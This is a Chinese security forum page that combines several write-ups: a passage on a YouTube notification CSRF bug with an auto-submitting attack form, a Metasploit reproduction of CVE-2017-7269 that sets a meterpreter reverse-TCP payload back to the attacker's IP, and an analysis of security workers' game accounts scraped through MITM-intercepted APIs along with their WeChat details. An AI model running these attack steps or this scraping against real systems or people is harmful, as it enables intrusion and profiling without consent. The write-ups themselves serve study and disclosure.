        某天晚上,我在YouTube官网上测试漏洞,看看能有什么发现,不知不觉时间已经是半夜00:30了,困累之极…..。我就随便点点打开了YouTube的通知服务(Notification),其中的POST请求引起了我的注意:
POST /notifications_ajax?action_register_device=1 HTTP/1.1
Host: www.youtube.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.youtube.com/sw.js
Content-Type: multipart/form-data; boundary=---------------------------41184676334
Origin: https://www.youtube.com
Content-Length: 1459
Connection: close
Cookie: duh, cookies!
-----------------------------41184676334
Content-Disposition: form-data; name="endpoint"

https://updates.push.services.mozilla.com/wpush/v1/gAAA...

-----------------------------41184676334
Content-Disposition: form-data; name="device_id"
dbe8453d99714c6160994fdf5bb3c59332df04278a...
-----------------------------41184676334
Content-Disposition: form-data; name="p256dh_key"
BBNVkVOt6tpY1KvJJqtLvqt...
-----------------------------41184676334
Content-Disposition: form-data; name="auth_key"
V5-_lh6nYT2zoY...
-----------------------------41184676334
Content-Disposition: form-data; name="permission"
granted
-----------------------------41184676334--
        乍一看,为了防止CSRF,其中的auth_key、p256dh_key、endpoint、device_id等参数貌似都是经过编码的字符串,但仔细一分析才知道,这些所有的参数都是由其中updates.push.services.mozilla.com的Mozilla通知推送服务产生的,所以,这样初略来看,该接口上不存在CSRF漏洞。
 
       分析Service Worker 服务工作线程​
 
        深入分析可知,上述POST请求中的referrer字段值为“https://www.youtube.com/sw.js”,这个sw.js明显为一个服务工作线程脚本(Service Worker)。
        Service Worker 是独立于当前页面的一段运行在浏览器后台进程里的脚本。Service Worker不需要用户打开 web 页面,也不需要其他交互,异步地运行在一个完全独立的上下文环境,不会对主线程造成阻塞。基于Service Worker可以实现消息推送、离线缓存和后台同步API等功能,本质上来说,Service Worker充当了Web应用程序与浏览器之间的代理。
        也就是说,referrer字段中的sw.js发起了这个POST请求,以至于这个请求和其它具备CSRF防御机制的YouTube请求内容存在不同。
        
       构造CSRF攻击框架​
 
        到了这一步,从这些参数里,我隐约觉得这里应该会有漏洞出现,但总要构造个PoC出来试试看。因此,通过研究以上参数的生成机制,我利用sw.js原理,编写了以下三个代码文件,构建了一个本地服务端来生成其中的各个参数。
        index.html:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>Push Demo</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" type="text/css" media="screen" href="index.css" />
<script src="index.js"></script>
</head>
<body>
<h1>Hello World</h1>
<button id="permission-btn" onclick="main()">Ask Permission</button>
</body>
</html>

index.js:


const check = () => {
if (!('serviceWorker' in navigator)) {
throw new Error('No Service Worker support!')
}
if (!('PushManager' in window)) {
throw new Error('No Push API Support!')
}
}
const registerServiceWorker = async () => {
const swRegistration = await navigator.serviceWorker.register('sw.js')
return swRegistration
}
const requestNotificationPermission = async () => {
const permission = await window.Notification.requestPermission()
if (permission !== 'granted') {
throw new Error('Permission not granted for Notification')
}
}
const main = async () => {
check()
const swRegistration = await registerServiceWorker()
const permission = await requestNotificationPermission()
}
sw.js:

self.addEventListener('activate', async () => { console.log("Hello");
self.registration.pushManager.subscribe()
.then(function(subscription) {
console.log(JSON.stringify(subscription));
})
.catch(function(e) {
console.log(e);
});
})
self.addEventListener("push", function(event) {
if (event.data) {
console.log("Push event!! ", event.data.text());
showLocalNotification("Yolo", event.data.text(), self.registration);
} else {
console.log("Push event but no data");
}
});
const showLocalNotification = (title, body, swRegistration) => {
const options = {
body
// here you can add more properties like icon, image, vibrate, etc.
};
swRegistration.showNotification(title, options);
};
        这三个代码文件的目的在于获取sw.js请求时生成的各个参数,有了这些参数,就可以间接形成通知(Notification),打开其中的index.html页面,点击Ask Permission按钮请求通知权限,后台调用sw.js脚本,通过内置的Firefox API形成一个本地的通知服务端,通知请求提交时,我们就能获取到其中的各个参数。利用这些参数,可以进一步构造出CSRF攻击框架,就能获取到对应的通知消息。
        在本地loclalhost构造这种通知请求服务端,需要用到Service Worker 服务工作线程(sw.js)的部署原理,其中涉及服务注册、激活、缓存控制和相关响应机制,具体可参考:developer.mozilla.orgdevelopers.google.com中的详细介绍说明。

2.png

 
        综合上述分析,基于我们之前创建的本地通知服务端,结合Youtube的通知请求提交方式,我构造了以下CSRF攻击框架:
<form action="https://www.youtube.com/notifications_ajax?action_register_device=1" method="post" enctype="multipart/form-data" name="csrf">
<input type="text" name="device_id" value="replace">
<input type="text" name="permission" value="granted">
<input type="text" name="endpoint" value="replace">
<input type="text" name="p256dh_key" value="replace=">
<input type="text" name="auth_key" value="replace">
<input type="submit">
<script type="text/javascript">document.csrf.submit();</script>
</form>
        让我意想不到的是,我在其中以其他Youtube账号身份,利用获取到的各种请求参数,提交了通知请求,竟然能有效实施通知消息的CSRF攻击。也就是说,我们现在可以劫持到其他Youtube账号的消息推送接口(PUSH webhook),以其他Youtube账号身份收取到Youtube响应该账号的相关通知,这些通知可能是他订阅的某个频道或视频的更新消息,也可能是他私人视频的观众评论等,如下:

3.png

 
 

CVE-2017-7269 IIS6.0远程代码执行漏洞复现

llpkk 发表了文章 • 0 个评论 • 222 次浏览 • 2019-04-21 23:59 • 来自相关话题

0x01 漏洞简介
漏洞编号:CVE-2017-7269
发现人员:Zhiniang Peng和Chen Wu(华南理工大学信息安全实验室,计算机科学与工程学院)
漏洞简述:开启WebDAV服务的IIS 6.0被爆存在缓存区溢出漏洞导致远程代码执行,目前针对 Windows Server 2003 R2 可以稳定利用,该漏洞最早在2016年7,8月份开始在野外被利用。
漏洞类型:缓冲区溢出
漏洞等级:高危
影响产品:Microsoft Windows Server 2003 R2 开启WebDAV服务的IIS6.0(目前已验证,其他版本尚未验证)
触发函数:ScStoragePathFromUrl函数
附加信息:ScStoragePathFromUrl函数被调用了两次
 
0x02 复现漏洞
复现环境:Microsoft Windows Server 2003 R2





开启了WebDAV服务





 
攻击者IP:192.168.1.144
目标机IP:192.168.1.175
 
exp:https://github.com/zcgonvh/cve-2017-7269





把exp 复制到攻击机器的/usr/share/metasploit-framework/modules/exploits/windows/iis目录下





打开神器Metasploit





输入use命令,use exploit/windows/iis/cve-2017-7269





使用命令show options





 
设置目标机ip,set RHOST 192.168.1.175设置对面网站,set HttpHost 192.168.1.175设置返回载荷,set payload windows/meterpreter/reverse_tcp设置攻击机ip,set LHOST 192.168.1.144进行溢出,exploit





 
输入shell命令,来到了我们所熟悉的界面





执行命令whoami





 
0x03 修复意见
2015年7月15日,微软已停止对Windows Server 2003的支持,所以官方没有相关解决方案,建议用户升级到最新系统 Windows Server 2016。如果不进行升级的话,请直接关闭WebDAV服务防止漏洞被利用。 查看全部
0x01 漏洞简介
漏洞编号:CVE-2017-7269
发现人员:Zhiniang Peng和Chen Wu(华南理工大学信息安全实验室,计算机科学与工程学院)
漏洞简述:开启WebDAV服务的IIS 6.0被爆存在缓存区溢出漏洞导致远程代码执行,目前针对 Windows Server 2003 R2 可以稳定利用,该漏洞最早在2016年7,8月份开始在野外被利用。
漏洞类型:缓冲区溢出
漏洞等级:高危
影响产品:Microsoft Windows Server 2003 R2 开启WebDAV服务的IIS6.0(目前已验证,其他版本尚未验证)
触发函数:ScStoragePathFromUrl函数
附加信息:ScStoragePathFromUrl函数被调用了两次

 
0x02 复现漏洞
复现环境:Microsoft Windows Server 2003 R2

1.png

开启了WebDAV服务

2.png

 
攻击者IP:192.168.1.144
目标机IP:192.168.1.175
 
exp:https://github.com/zcgonvh/cve-2017-7269

3.png

把exp 复制到攻击机器的/usr/share/metasploit-framework/modules/exploits/windows/iis目录下

4.png

打开神器Metasploit

5.png

输入use命令,use exploit/windows/iis/cve-2017-7269

6.png

使用命令show options

7.png

 
  1. 设置目标机ip,set RHOST 192.168.1.175
  2. 设置对面网站,set HttpHost 192.168.1.175
  3. 设置返回载荷,set payload windows/meterpreter/reverse_tcp
  4. 设置攻击机ip,set LHOST 192.168.1.144
  5. 进行溢出,exploit


8.png

 
输入shell命令,来到了我们所熟悉的界面

9.png

执行命令whoami

10.png

 
0x03 修复意见
2015年7月15日,微软已停止对Windows Server 2003的支持,所以官方没有相关解决方案,建议用户升级到最新系统 Windows Server 2016。如果不进行升级的话,请直接关闭WebDAV服务防止漏洞被利用。

数据分析与可视化:谁是安全圈的吃鸡第一人

fireant 发表了文章 • 0 个评论 • 166 次浏览 • 2019-04-19 09:39 • 来自相关话题

*本文原创作者:Omegogogo
各位大佬看看自己上榜了没
 0×00 前言 
放假和小伙伴们打了几把PUBG,大半年没碰,居然也意外地躺着吃了次鸡。吃鸡这个游戏果然得4个认识的人打(dai)战(dai)术(wo)才更有趣。
由于身边搞安全的人比较多,之前也会和一些安全圈的大佬一起玩,经常会有些认识或不认识的黑阔大佬开着高科技带着躺鸡。当然笔者也曾羞耻地开过挂带妹(纪念号被封的第193天)。
那么这些黑阔大佬们,在不开挂的情况下,谁会是他们之中技术最好的呢?带着这样的疑问,试着从数据分析的角度来看看谁会是安全圈的吃鸡第一人。


注:全文所指的“安全圈”是一个非常狭义的概念,在本文中仅覆盖到小部分安全从业者玩家,所以标题有些夸大。如有其他错误也欢迎指出。 


0×01 数据收集
怎么才能知道哪些安全从业者在玩这个游戏,他们的ID又是什么呢?
在一些APP里可以查到玩家的战绩,其中比较有价值的是,还能看到每位玩家的好友列表。
那么可以有这么个思路,也就是一个广度优先遍历:


1.确定一个初始的ID链表,并保证初始链表内都是安全圈内人士。
2.遍历初始链表内每一位玩家的所有好友。
3.当链表内H的好友J,同时也是链表内另外两位黑客的共同好友,那么认为J也是安全圈内人士,加入到链表尾处。
4.向后迭代重复2、3。


动手实现
发现走的是https,挂上证书以MITM的方式来监听https流量:

可以发现数据是以json格式传递的,写个python脚本来自动完成获取数据,单线程+限速(一方面不至于给别人家的api爬挂了另一方面也不至于触发IDS、anti-CC等机制)。
脚本主要代码是:
 def r_get(nickname,offset):
#发送给api的request
...

return json#返回一个json格式

def get_friends(nickname):

offset = 0
res_js = r_get(nickname,str(offset))
temp_friends = res_js['result']['board']
if res_js['status'] == "ok":
while len(res_js['result']['board']) == 30:
offset = offset + 30
res_js = r_get(nickname,str(offset))
temp_friends = temp_friends + res_js['result']['board']
print(" {0} 的好友人数 {1}".format(res_js['result']['user_rank']['nickname'], len(temp_friends) -1 ))
friends =
Wxname = ""
Wxsex = ""
Wxavatar = ""
sql = ""
for playerinfo in temp_friends:
if playerinfo['nickname'] != res_js['result']['user_rank']['nickname']:
friends.append(playerinfo['nickname'])
elif playerinfo.has_key('heybox_info') == True:
Wxname = playerinfo['heybox_info']['username']
Wxsex = playerinfo['heybox_info']['sex']
Wxavatar = playerinfo['heybox_info']['avartar']
friends_s = ','.join(friends)

sql = "INSERT INTO player (nickname,avatar,steamID,friends,Wxname,Wxsex,Wxavatar) \
VALUES ('{0}','{1}','{2}','{3}','{4}','{5}','{6}')".format(res_js['result']['user_rank']['nickname'],res_js['result']['user_rank']['avatar'], res_js['result']['user_rank']['steam_id'],friends_s,Wxname,Wxsex,Wxavatar)
return friends,sql
else:
print("获取{0}的好友人数失败, 返回{1}".format(res_js['result']['user_rank']['nickname'],res_js['msg']))
return 1

def record_rds(sql):
#db操作

def main():
...
 笔者先确定一份初始安全圈列表,包括“Rickyhao”、“RicterZ”、“r3dr41n”、“PwnDog”等。这些人或是在bat、360等公司从事安全相关工作,或是笔者信安专业的同学,或ID明显带有安全的特征(PwnDog),总之都是比较确信的安全圈人士。
以这些人为初始列表,很快就有几位玩家被划定为安全圈人士。

 
在遍历到大约第50来位的时候也看到了自己的游戏昵称:Omego555(正是刚才提到开挂带妹被封的账号)    

遍历到“wilson233”时发现直接跳过了,并没有被纳入到安全圈列表中,但笔者读过wilson写下的很多优质文章,他也是某甲方公司的安全从业者。

 
(该ID在后来的某次遍历中也被纳入了列表中,程序表现出一定的健壮性。 )
在数据量达到1000多的时候笔者手动终止了程序。原因是列表增长的速度越来越快,在单线程+限速的限制下程序迟迟看不到收敛的希望。另一方面笔者只是想做个小测试,并不需要太大规模的数据集。观察数据集
初步观察数据集,发现很多有意思的事情:比如在遍历到第300多位玩家的时候,发现了一个ID带得有“pkav”字样的玩家”PKAV-xiaoL“(pkav是原来在乌云很有名气的安全组织,其中一名成员“gainover”正是原乌云知识库《安全圈有多大》一文的作者,笔者也是受到这篇文章的启发才打算做这个小项目)。
随着PKAV-xiaoL被确定到安全圈列表中,由于社交关系,更多的pkav成员也被添加进列表中。

 
除了pkav-xxx,还看到了一些很眼熟的ID:比如【SparkZheng】—正是多个ios越狱的作者蒸米大大

 
比如【ma7h1as】,笔者大学时的队友,现玄武实验室大佬,多个Google/MS CVE获得者,超级大黑客

 
再来看这位,从游戏昵称看不出是谁,但微信昵称告诉我们这个账号的主人应该是安全盒子的创始人王松。

 
当然还有一些活跃在安全论坛,或者笔者有读过的一些高质量技术文章的作者的ID,眼熟的如”lightless233″、”LoRexxar”、”susu43″、”CurseRed”等,这里不再一一列举。
除此之外还有一些玩家,比如这位:


笔者既不认识他,也从未在安全论坛见过他的ID,只是猜想用“sudo”作为ID的人是安全从业者的可能性比较大吧。那么他真的会是安全圈人士吗?
试着搜索一下:
找到了他的GitHub,并在
 
其中发现了很多你懂的东西,很有趣对吧? 0×02 社群发现与社区关系
我们发现了很多安全圈的吃鸡玩家,但是除了这些眼熟和有迹可循的ID,列表里躺着的绝大多数都是笔者没见过,陌生的ID。为了弄清楚他们之间的社区关系。我们使用一些算法和可视化工具来帮助进行数据分析。
先用环形关系图看看:

 
圆上的每个红点代表一位玩家,无数条灰边则将各位玩家串联起来。在这份数据集中一共有1270个节点,他们互相组成了共计14216次好友关系,形成了7128条灰边。称得上是复杂的社交网络了。
我们使用无向图来构建力引导关系,虽然在安全领域的风控、反欺诈方向中使用有向图更为广泛一些,但好友关系是双向的,因此这里用无向图。代码如下:
 # -*- coding: UTF-8-*-  
from pyecharts import Graph

import json

import sys

import sqlite3

conn = sqlite3.connect('db2.db')

c = conn.cursor()

print "Opened database successfully";

cursor = c.execute("SELECT nickname,friends FROM player")

nodes =

links =

temps =

for row in cursor:

temps.append({"name":row[0],"friends":row[1].split(",")})

nodes.append({"name":row[0],"symbolSize":5})

for temp in temps:

for friend in temp["friends"]:

if {"name":friend,"symbolSize":5} in nodes:

links.append({"source":temp["name"],"target":friend})

graph = Graph("力导图",width=1400,height=1600)

graph.add(

"",

nodes,

links,

graph_layout = "force",

label_pos="right",

graph_repulsion=10,

line_curve=0.2,

)

graph.render() 
 
得到:

 
俗话说“物以类聚人以群分”,在我们的数据集中也同样适用。可以观察到这份社交网络其实是由多个小社区群落组成的,比如在最左下角的这个部分,这个小社区处于安全圈的边缘地带,很有可能不是安全从业者,我们放大来看:

 
这个“五边形”是一个完全子图。在这个小社区中,五个人都互为好友,也被称作“派系(Clique)”,这五个人很有可能经常一起开黑。
同时我们可以看到顶点这位玩家:

 
如果我们把上面最大的部分看做是安全圈的话,这位叫Feng_Bao的玩家卡在了安全圈与这个5人小社区“道路咽喉”的位置,这样的节点具有较高的“中介中心性(Betweenness Centrality)”,往往具有不可替代的作用。在现实中类似房屋中介一样,买房者与卖房者之间的联系都得靠他。
除了中介中心性,在图论中节点还有另外两个重要性质:度中心性(Degree Centrality)以及紧密中心性(Closeness Centrality)。
一个节点与之相连的边越多,这个节点的度中心性就越高,也就是好友越多,度中心性越高,很可能是具有较高名望的人,比如微博的大V,意见领袖等。
紧密中心性则是衡量一个节点到其他所有节点的最短距离之和的指标,一个节点的紧密中心性越高那么他传播信息的时候也就越不需要依赖其他人。
分别计算一下数据集中三个中心性排名靠前的玩家。
有没有看到眼熟的ID呢:

 
确实看到一些眼熟的ID,但由于我们前面寻找安全圈的算法并不准确,在收集数据的过程中很可能误入到某些特定的圈子中。比如某些安全圈玩家同时又是二次元爱好者,那么很可能会把这份数据集带入到“二次元圈”。为了尽量避免这种情况,我们使用一些社区发现算法来完成社区的寻找与分割。


社区发现算法用来发现网络中的社区结构,多数是聚类类型的算法。使用社区发现算法可以帮助我们发现联系相对紧密的社区,从而帮助我们把安全圈和其他圈子的人分割开来。



 
常见的社区发现算法有:Girvan-Newman、Louvai、K-Clique、Label propagation等。
在Python下可以使用NetworkX来完成各类社区发现算法的调试,但NetworkX本身只是算法工具,并不具备可视化功能,而笔者联调plt画出来的图实在奇丑无比。因此这里使用算法单一但可视化功能强悍的gephi来实现。
fast-unfolding是基于Modularity的算法,也是复杂网络当中进行社团划分简单高效、应用最广泛的算法。
用force atlas图布局:

 
fast-unfolding:

 
除此之外Gephi还支持GN算法,但内存要求较高,有兴趣的同学可以尝试下其他算法。
经过30000余次迭代,最终得到了19个社区,用图像来表示是这样的:

 
在社区发现算法中社区的数目和大小通常是不可知的,一般是用模块度Modularity来检查社区分类的合理性。由于本文采集的数据较少且这里的好友关系是双向的,不像微博的关注/粉丝的机制能较准确地找出图的连通性,所以这里的社区发现效果并不理想。
笔者在使用NetworkX尝试了多种算法和不同的参数后,最终选择了一个样本数量为1125的社区,覆盖了原数据集样本总数的88.58%。在简单观察了这个社区的合理性后,决定使用这份数据集来做后续的战绩分析。
 
 0×03 战绩爬取和分析谁是安全圈的吃鸡第一人
拿到了要进行战绩数据采集的玩家名单后,我们需要先确定几个指标来衡量一个玩家的吃鸡技术水平,才能有指向性的进行数据采集。笔者最终选取了数个指标,分别是:


1.历史最高Rank,即最高段位
2.最近20场游戏的平均排名
3.最近20场的吃鸡数和前10数
4.最近20场游戏的击杀总数
5.最近20场游戏造成的总伤害


笔者还决定采集一些有趣的指标,能反映玩家的游戏习惯:


1.最近20场的武器使用情况
2.最近20场的死亡地点
3.最近20场的游戏总时长


爬虫写完后数据很快就抓取完毕。
先来看看安全圈玩家们最近20场游戏的情况
在最近的20场比赛中苟到排名前十次数最多的是【RickyHao】和【NeglectLee】两位,达到惊人的17次,85%的前10率。
这一指标在安全圈的平均值是6.33。
 
单独看看吃鸡情况:

 
在最近20场比赛中吃鸡次数最多的是这位叫【qingfenggod】的玩家,达到了可怕的10次,近20场次中有一半的比赛都笑到了最后。前十次数第一的【RickyHao】则在吃鸡数上排到了第二位,达到了8次。
而这一数值的平均值仅才0.71,两位玩家都达到了10数倍。
【RickyHao】之所以在这一指标上如此突出是因为最近20场次里包含了很多活动模式,而【qingfenggod】则大部分是在排位中获得的,可以说是非常惊人的胜率了。
在KDA和伤害方面:

 
可以看到大部分玩家都集中在左下半部分,可以认为正常玩家都在这一点簇群内, 即KDA<2,伤害<400的部分。
而KDA达到4伤害超过550的玩家仅有4位。KDA超过5伤害超过600的仅仅只有一位了。
但有一位玩家达到了令人窒息的:


KD:8.4
伤害:1099.57


是第二名的近两倍,是平均值的近10倍!!!!直接来到了散点图的云端之上,这可是击杀与死亡比啊,如果不是高科技的话这位玩家可能是职业级的水准了。
这位玩家也正是刚才提到吃鸡榜第一的【qingfenggod】。
同样在吃鸡榜中排第二的【RickyHao】,这一数据仅为:


KD:3.7
伤害:461.18


排位第8位。
思考:其实这里已经可以很直观地分类出正常玩家、高级玩家、外挂玩家三大类别。如果是反外挂/风控等场景,对于这种密度相差很大的簇群,可以尝试使用kmeans这类基于距离的聚类算法来将样本分为3~5类,并借助移动速度、平均移动距离等指标来辅助判断是否为外挂玩家。这里不作深入探究。
笔者更感兴趣的是吃鸡和枪法的关系,一个人的枪法越好,越容易吃鸡吗?吃鸡对于笔者这样热衷伏地苟活的玩家会更友好吗?
对于枪法这一表征,直接使用KD和damage来代替,再加上移动距离来分析这三类指标与吃鸡率的相关性
做个简单的线性相关分析,计算Pearson系数:

 
光从相关系数看,枪法和吃鸡虽然是正相关,但并不是呈现出非常强的相关性,顶多达到了中等程度相关。
而整场游戏的移动距离则和吃鸡完全呈弱相关了,可能是吃鸡这个游戏真的很看运气吧。
而如果一位玩家只是想进入游戏前十,则和个人枪法没什么太大关系了,反而和移动距离关系较大。
换句话说,如果只是想冲进前十,乖乖苟毒跑圈就可以了。
这也基本印证我们对游戏的理解。
如果说以上对最近二十场次游戏的分析还无法回答“谁是安全圈吃鸡第一人”这个问题的话,那么历史最高排位情况应该能给出一个答案了。
那么谁的rank分值会是安全圈中最高的呢,我们同样遍历了1125位玩家的这一指标:

 
(注:官方API的提示中写到,由于官方服务器问题,一些玩家的这一数据可能丢失或者有误)
取四人TPP的排位情况,前三位分别是:


Salmonnnnn:4094.7144
syzhou:3906.409
ph4nt0mer:3609.1436


通过观察好友关系,笔者相信他们与安全圈关系密切(大家也可以搜索一下这些ID)。
写到这里,“谁是安全圈的吃鸡第一人?”这一问题已经差不多给出了答案。玩家画像
风控、反APT等场景中经常会用一些手段对黑客或者用户进行画像。在这里笔者也做了一些研究玩家游戏习惯的工作,基于玩家的击杀行为来画像。
挑选一位玩家游戏记录较多的玩家,以【sanmao2054】为例。
通过分析他550场次比赛中的的891次击杀,来推测一下该玩家的游戏习惯,刻画出这位玩家的游戏风格。
从武器使用情况来看:
 

 
sanmao2054最钟爱步枪,最常使用的是M416和AK47这两把万精油老款自动步枪,两把枪的击杀人数加起来超过了250次。
笔者最喜欢用的ScarL步枪在他的手里排在了优先级非常靠后的位置。
在狙击枪方面:
sanmao2054偏爱SKS这种连发狙击步枪,击杀次数达到了22次。而对于m24和kar98这种单发拉栓步枪就不太热衷使用,两把枪使用次数加起来也不过29次。
总体来看,这位玩家在狙击枪的使用频率上远不如步枪。所有狙击枪的击杀次数加起来都不及AK或者M4的一半。
在冲锋枪方面:
最爱的当属UMP,而vector紧随其后,达到44次击杀。要知道热爱vector的玩家并不多,所以这可以算是这位玩家较明显的特点。
其他:
空投枪的使用次数并不多,看来这位玩家对追梦没什么兴趣。
虽然是近身型玩家,但使用喷子的次数并不多。更偏向于自动武器。
而使用爆破手雷击杀了高达31次,这是个非常亮眼的数据。
从击杀距离来看:
 
平均击杀距离排在第一位的自然是狙中之王,精准度最强劲的AWM,达到了120多米。
排在第二的则是这位玩家最爱的SKS,达到111米了。
对于这位玩家最喜爱的m4和ak两类步枪,平均击杀距离仅只有19到24米。
从这里可以看出这位玩家偏好近距离作战,热爱刚枪,对于杀伤力较大的自动步枪情有独钟。
sanmao2054的最远击杀距离达到了285米,使用的却是SKS这一款连狙步枪,也从侧面印证此人刚枪的风格。
从平均击杀时间点来看:

 
sanmao2054在前期击杀使用的基本都是手枪/冲锋枪,DP28等武器,在中期会使用AK等自动步枪。后期则以空投枪为主。
有趣的一点是,这位玩家使用爆破手雷完成击杀的时间点也比较靠后。
可以合理地推测出,他比较倾向于在最后使用手雷来打扫战场,快速结束战斗。这也是比较聪明的做法。
根据以上信息基本可以脑补一下这位玩家的打法是:
先跳伞到人多的区域,随意捡起一两把武器(甚至是手枪)就开始干架,成功击杀对手后就寻找ak/m4等自动步枪过渡到中期,会留雷到后期来结束战斗,在少数情况下后期也会去考虑空投枪。
用一些关键词来描述sanmao2054可能会是:【刚枪小王子】、【步枪之王】、【不擅长狙击】、【爆破手】、【使用vector的大手子】之类的。
最后用两张安全圈所有玩家的死亡热力图来结束全文:

 
0×04 最后
本文仅是一个For fun的周末项目,涉及的数据有限。在真正的网络攻防实践中,数据挖掘和分析能为安全工程师带来更多的便利,特别是在流量分析/异常检测/溯源取证/风控画像等方面。
笔者目前在某甲方公司从事安全相关工作,身边搞数据分析的人较少,所以写这篇文章的目的也是希望能结识同样对安全数据分析感兴趣的小伙伴。
对这个方向感兴趣的小伙伴欢迎留言或wx/wb上同我交流:-)有周末组排缺菜鸡队友的也欢迎戳我。 查看全部
*本文原创作者:Omegogogo
各位大佬看看自己上榜了没
 0×00 前言 
放假和小伙伴们打了几把PUBG,大半年没碰,居然也意外地躺着吃了次鸡。吃鸡这个游戏果然得4个认识的人打(dai)战(dai)术(wo)才更有趣。
由于身边搞安全的人比较多,之前也会和一些安全圈的大佬一起玩,经常会有些认识或不认识的黑阔大佬开着高科技带着躺鸡。当然笔者也曾羞耻地开过挂带妹(纪念号被封的第193天)。
那么这些黑阔大佬们,在不开挂的情况下,谁会是他们之中技术最好的呢?带着这样的疑问,试着从数据分析的角度来看看谁会是安全圈的吃鸡第一人。



注:全文所指的“安全圈”是一个非常狭义的概念,在本文中仅覆盖到小部分安全从业者玩家,所以标题有些夸大。如有其他错误也欢迎指出。 



0×01 数据收集
怎么才能知道哪些安全从业者在玩这个游戏,他们的ID又是什么呢?
在一些APP里可以查到玩家的战绩,其中比较有价值的是,还能看到每位玩家的好友列表。
那么可以有这么个思路,也就是一个广度优先遍历:



1.确定一个初始的ID链表,并保证初始链表内都是安全圈内人士。
2.遍历初始链表内每一位玩家的所有好友。
3.当链表内H的好友J,同时也是链表内另外两位黑客的共同好友,那么认为J也是安全圈内人士,加入到链表尾处。
4.向后迭代重复2、3。



动手实现
发现走的是https,挂上证书以MITM的方式来监听https流量:

可以发现数据是以json格式传递的,写个python脚本来自动完成获取数据,单线程+限速(一方面不至于给别人家的api爬挂了另一方面也不至于触发IDS、anti-CC等机制)。
脚本主要代码是:
 
def r_get(nickname,offset):
#发送给api的request
...

return json#返回一个json格式

def get_friends(nickname):

offset = 0
res_js = r_get(nickname,str(offset))
temp_friends = res_js['result']['board']
if res_js['status'] == "ok":
while len(res_js['result']['board']) == 30:
offset = offset + 30
res_js = r_get(nickname,str(offset))
temp_friends = temp_friends + res_js['result']['board']
print(" {0} 的好友人数 {1}".format(res_js['result']['user_rank']['nickname'], len(temp_friends) -1 ))
friends =
Wxname = ""
Wxsex = ""
Wxavatar = ""
sql = ""
for playerinfo in temp_friends:
if playerinfo['nickname'] != res_js['result']['user_rank']['nickname']:
friends.append(playerinfo['nickname'])
elif playerinfo.has_key('heybox_info') == True:
Wxname = playerinfo['heybox_info']['username']
Wxsex = playerinfo['heybox_info']['sex']
Wxavatar = playerinfo['heybox_info']['avartar']
friends_s = ','.join(friends)

sql = "INSERT INTO player (nickname,avatar,steamID,friends,Wxname,Wxsex,Wxavatar) \
VALUES ('{0}','{1}','{2}','{3}','{4}','{5}','{6}')".format(res_js['result']['user_rank']['nickname'],res_js['result']['user_rank']['avatar'], res_js['result']['user_rank']['steam_id'],friends_s,Wxname,Wxsex,Wxavatar)
return friends,sql
else:
print("获取{0}的好友人数失败, 返回{1}".format(res_js['result']['user_rank']['nickname'],res_js['msg']))
return 1

def record_rds(sql):
#db操作

def main():
...

 笔者先确定一份初始安全圈列表,包括“Rickyhao”、“RicterZ”、“r3dr41n”、“PwnDog”等。这些人或是在bat、360等公司从事安全相关工作,或是笔者信安专业的同学,或ID明显带有安全的特征(PwnDog),总之都是比较确信的安全圈人士。
以这些人为初始列表,很快就有几位玩家被划定为安全圈人士。

 
在遍历到大约第50来位的时候也看到了自己的游戏昵称:Omego555(正是刚才提到开挂带妹被封的账号)    

遍历到“wilson233”时发现直接跳过了,并没有被纳入到安全圈列表中,但笔者读过wilson写下的很多优质文章,他也是某甲方公司的安全从业者。

 
(该ID在后来的某次遍历中也被纳入了列表中,程序表现出一定的健壮性。 )
在数据量达到1000多的时候笔者手动终止了程序。原因是列表增长的速度越来越快,在单线程+限速的限制下程序迟迟看不到收敛的希望。另一方面笔者只是想做个小测试,并不需要太大规模的数据集。观察数据集
初步观察数据集,发现很多有意思的事情:比如在遍历到第300多位玩家的时候,发现了一个ID带得有“pkav”字样的玩家”PKAV-xiaoL“(pkav是原来在乌云很有名气的安全组织,其中一名成员“gainover”正是原乌云知识库《安全圈有多大》一文的作者,笔者也是受到这篇文章的启发才打算做这个小项目)。
随着PKAV-xiaoL被确定到安全圈列表中,由于社交关系,更多的pkav成员也被添加进列表中。

 
除了pkav-xxx,还看到了一些很眼熟的ID:比如【SparkZheng】—正是多个ios越狱的作者蒸米大大

 
比如【ma7h1as】,笔者大学时的队友,现玄武实验室大佬,多个Google/MS CVE获得者,超级大黑客

 
再来看这位,从游戏昵称看不出是谁,但微信昵称告诉我们这个账号的主人应该是安全盒子的创始人王松。

 
当然还有一些活跃在安全论坛,或者笔者有读过的一些高质量技术文章的作者的ID,眼熟的如”lightless233″、”LoRexxar”、”susu43″、”CurseRed”等,这里不再一一列举。
除此之外还有一些玩家,比如这位:


笔者既不认识他,也从未在安全论坛见过他的ID,只是猜想用“sudo”作为ID的人是安全从业者的可能性比较大吧。那么他真的会是安全圈人士吗?
试着搜索一下:
找到了他的GitHub,并在
 
其中发现了很多你懂的东西,很有趣对吧? 0×02 社群发现与社区关系
我们发现了很多安全圈的吃鸡玩家,但是除了这些眼熟和有迹可循的ID,列表里躺着的绝大多数都是笔者没见过,陌生的ID。为了弄清楚他们之间的社区关系。我们使用一些算法和可视化工具来帮助进行数据分析。
先用环形关系图看看:

 
圆上的每个红点代表一位玩家,无数条灰边则将各位玩家串联起来。在这份数据集中一共有1270个节点,他们互相组成了共计14216次好友关系,形成了7128条灰边。称得上是复杂的社交网络了。
我们使用无向图来构建力引导关系,虽然在安全领域的风控、反欺诈方向中使用有向图更为广泛一些,但好友关系是双向的,因此这里用无向图。代码如下:
 
# -*- coding: UTF-8-*-  
from pyecharts import Graph

import json

import sys

import sqlite3

conn = sqlite3.connect('db2.db')

c = conn.cursor()

print "Opened database successfully";

cursor = c.execute("SELECT nickname,friends FROM player")

nodes =

links =

temps =

for row in cursor:

temps.append({"name":row[0],"friends":row[1].split(",")})

nodes.append({"name":row[0],"symbolSize":5})

for temp in temps:

for friend in temp["friends"]:

if {"name":friend,"symbolSize":5} in nodes:

links.append({"source":temp["name"],"target":friend})

graph = Graph("力导图",width=1400,height=1600)

graph.add(

"",

nodes,

links,

graph_layout = "force",

label_pos="right",

graph_repulsion=10,

line_curve=0.2,

)

graph.render()
 
 
得到:

 
